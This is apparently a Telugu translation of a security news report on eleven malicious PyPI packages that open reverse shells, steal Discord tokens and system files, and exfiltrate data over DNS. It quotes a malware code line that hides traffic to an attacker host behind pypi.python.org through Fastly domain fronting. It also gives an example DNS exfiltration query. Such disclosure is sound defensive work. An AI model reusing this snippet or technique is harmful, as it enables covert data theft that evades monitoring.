PyPI (Python Package Index) డైరెక్టరీలో, హానికరమైన కోడ్ని కలిగి ఉన్న 11 ప్యాకేజీలు గుర్తించబడ్డాయి. సమస్యలను గుర్తించే ముందు, ప్యాకేజీలు మొత్తం 38 వేల సార్లు డౌన్లోడ్ చేయబడ్డాయి. గుర్తించబడిన హానికరమైన ప్యాకేజీలు దాడి చేసేవారి సర్వర్లతో కమ్యూనికేషన్ ఛానెల్లను దాచడానికి అధునాతన పద్ధతులను ఉపయోగించడం ద్వారా గుర్తించదగినవి.
- ముఖ్యమైన ప్యాకేజీ (6305 డౌన్లోడ్లు), ముఖ్యమైన-ప్యాకేజీ (12897) - సిస్టమ్కు షెల్ యాక్సెస్ను అందించడానికి (రివర్స్ షెల్) pypi.python.orgకి కనెక్ట్ చేసే ముసుగులో బాహ్య సర్వర్కు కనెక్షన్ని ఏర్పాటు చేసింది మరియు దాచడానికి trevorc2 ప్రోగ్రామ్ను ఉపయోగించింది కమ్యూనికేషన్ ఛానల్.
- pptest (10001), ipboards (946) - సిస్టమ్ గురించి సమాచారాన్ని ప్రసారం చేయడానికి DNSని కమ్యూనికేషన్ ఛానెల్గా ఉపయోగించారు (మొదటి ప్యాకెట్లో హోస్ట్ పేరు, వర్కింగ్ డైరెక్టరీ, అంతర్గత మరియు బాహ్య IP, రెండవది - వినియోగదారు పేరు మరియు హోస్ట్ పేరు) .
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) - సిస్టమ్లోని డిస్కార్డ్ సర్వీస్ టోకెన్ను గుర్తించి దానిని బాహ్య హోస్ట్కి పంపారు.
- trrfab (287) - ఐడెంటిఫైయర్, హోస్ట్ పేరు మరియు /etc/passwd, /etc/hosts, /home యొక్క కంటెంట్లను బాహ్య హోస్ట్కు పంపింది.
- 10Cent10 (490) - బాహ్య హోస్ట్తో రివర్స్ షెల్ కనెక్షన్ని ఏర్పాటు చేసింది.
- yandex-yt (4183) - సిస్టమ్ రాజీ పడిందనే సందేశాన్ని ప్రదర్శిస్తుంది మరియు nda.ya.ru (api.ya.cc) ద్వారా జారీ చేయబడిన తదుపరి చర్యల గురించి అదనపు సమాచారంతో పేజీకి మళ్లించబడుతుంది.
ముఖ్యమైన ప్యాకేజీ మరియు ముఖ్యమైన-ప్యాకేజీ ప్యాకేజీలలో ఉపయోగించిన బాహ్య హోస్ట్లను యాక్సెస్ చేసే పద్ధతి ప్రత్యేకించి గమనించదగినది, ఇది PyPI డైరెక్టరీలో ఉపయోగించిన ఫాస్ట్లీ కంటెంట్ డెలివరీ నెట్వర్క్ను వారి కార్యాచరణను దాచడానికి ఉపయోగించింది. వాస్తవానికి, అభ్యర్థనలు pypi.python.org సర్వర్కు పంపబడ్డాయి (HTTPS అభ్యర్థన లోపల SNIలో python.org పేరును పేర్కొనడంతో సహా), కానీ HTTP “హోస్ట్” హెడర్లో దాడి చేసేవారిచే నియంత్రించబడే సర్వర్ పేరు ఉంటుంది (సెక. forward.io. global.prod.fastly.net). కంటెంట్ డెలివరీ నెట్వర్క్ డేటాను ప్రసారం చేస్తున్నప్పుడు pypi.python.orgకి TLS కనెక్షన్ యొక్క పారామితులను ఉపయోగించి దాడి చేసే సర్వర్కు ఇదే విధమైన అభ్యర్థనను పంపింది.
PyPI ఇన్ఫ్రాస్ట్రక్చర్ ఫాస్ట్లీ కంటెంట్ డెలివరీ నెట్వర్క్ ద్వారా ఆధారితం, ఇది సాధారణ అభ్యర్థనలను కాష్ చేయడానికి వార్నిష్ పారదర్శక ప్రాక్సీని ఉపయోగిస్తుంది మరియు ప్రాక్సీ ద్వారా HTTPS అభ్యర్థనలను ఫార్వార్డ్ చేయడానికి చివరి సర్వర్ల వద్ద కాకుండా CDN స్థాయిలో TLS సర్టిఫికేట్ ప్రాసెసింగ్ను కూడా ఉపయోగిస్తుంది. లక్ష్య హోస్ట్తో సంబంధం లేకుండా, అభ్యర్థనలు ప్రాక్సీకి పంపబడతాయి, ఇది HTTP “హోస్ట్” హెడర్ని ఉపయోగించి కావలసిన హోస్ట్ని నిర్ణయిస్తుంది మరియు హోస్ట్ డొమైన్ పేర్లు CDN లోడ్ బ్యాలెన్సర్ IP చిరునామాలతో ముడిపడి ఉంటాయి, ఇవి ఫాస్ట్లీ క్లయింట్లందరికీ విలక్షణమైనవి.
దాడి చేసేవారి సర్వర్ కూడా CDN ఫాస్ట్లీతో నమోదు చేసుకుంటుంది, ఇది అందరికీ ఉచిత ప్లాన్లను అందిస్తుంది మరియు అనామక రిజిస్ట్రేషన్ను కూడా అనుమతిస్తుంది. "రివర్స్ షెల్"ని సృష్టించేటప్పుడు బాధితుడికి అభ్యర్థనలను పంపడానికి, ఒక పథకం కూడా ఉపయోగించబడుతుంది, కానీ దాడి చేసేవారి హోస్ట్ వైపు నుండి ప్రారంభించబడింది. బయటి నుండి, దాడి చేసేవారి సర్వర్తో పరస్పర చర్య PyPI డైరెక్టరీతో చట్టబద్ధమైన సెషన్ వలె కనిపిస్తుంది, PyPI TLS ప్రమాణపత్రాన్ని ఉపయోగించి గుప్తీకరించబడింది. "డొమైన్ ఫ్రంటింగ్" అని పిలువబడే ఇదే విధమైన సాంకేతికత, బ్లాక్ చేయడాన్ని దాటవేసేటప్పుడు హోస్ట్ పేరును దాచడానికి మునుపు చురుకుగా ఉపయోగించబడింది, SNIలో కల్పిత హోస్ట్ను సూచించడం ద్వారా HTTPSని యాక్సెస్ చేయడానికి కొన్ని CDN నెట్వర్క్లలో అందించబడిన సామర్థ్యాన్ని ఉపయోగించి మరియు వాస్తవానికి దాని పేరును ప్రసారం చేస్తుంది. TLS సెషన్లోని HTTP హోస్ట్ హెడర్లో హోస్ట్ని అభ్యర్థించారు.
హానికరమైన కార్యకలాపాన్ని దాచడానికి, సాధారణ వెబ్ నావిగేషన్ మాదిరిగానే సర్వర్తో పరస్పర చర్య చేయడానికి TrevorC2 ప్యాకేజీ అదనంగా ఉపయోగించబడింది, ఉదాహరణకు, “https://pypi.python.org/images/ చిత్రాన్ని డౌన్లోడ్ చేసే ముసుగులో హానికరమైన అభ్యర్థనలు పంపబడ్డాయి. guid=” గైడ్ పారామీటర్లో సమాచార ఎన్కోడింగ్తో. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
Pptest మరియు ipboards ప్యాకేజీలు DNS సర్వర్కు సంబంధించిన ప్రశ్నలలో ఉపయోగకరమైన సమాచారాన్ని ఎన్కోడింగ్ చేయడం ఆధారంగా నెట్వర్క్ కార్యాచరణను దాచడానికి వేరే విధానాన్ని ఉపయోగించాయి. మాల్వేర్ “nu4timjagq4fimbuhe.example.com” వంటి DNS అభ్యర్థనలను అమలు చేయడం ద్వారా సమాచారాన్ని ప్రసారం చేస్తుంది, దీనిలో నియంత్రణ సర్వర్కు ప్రసారం చేయబడిన డేటా సబ్డొమైన్ పేరులోని బేస్64 ఆకృతిని ఉపయోగించి ఎన్కోడ్ చేయబడుతుంది. ఉదాహరణకు.com డొమైన్ కోసం DNS సర్వర్ని నియంత్రించడం ద్వారా దాడి చేసే వ్యక్తి ఈ సందేశాలను అందుకుంటారు.
మూలం: opennet.ru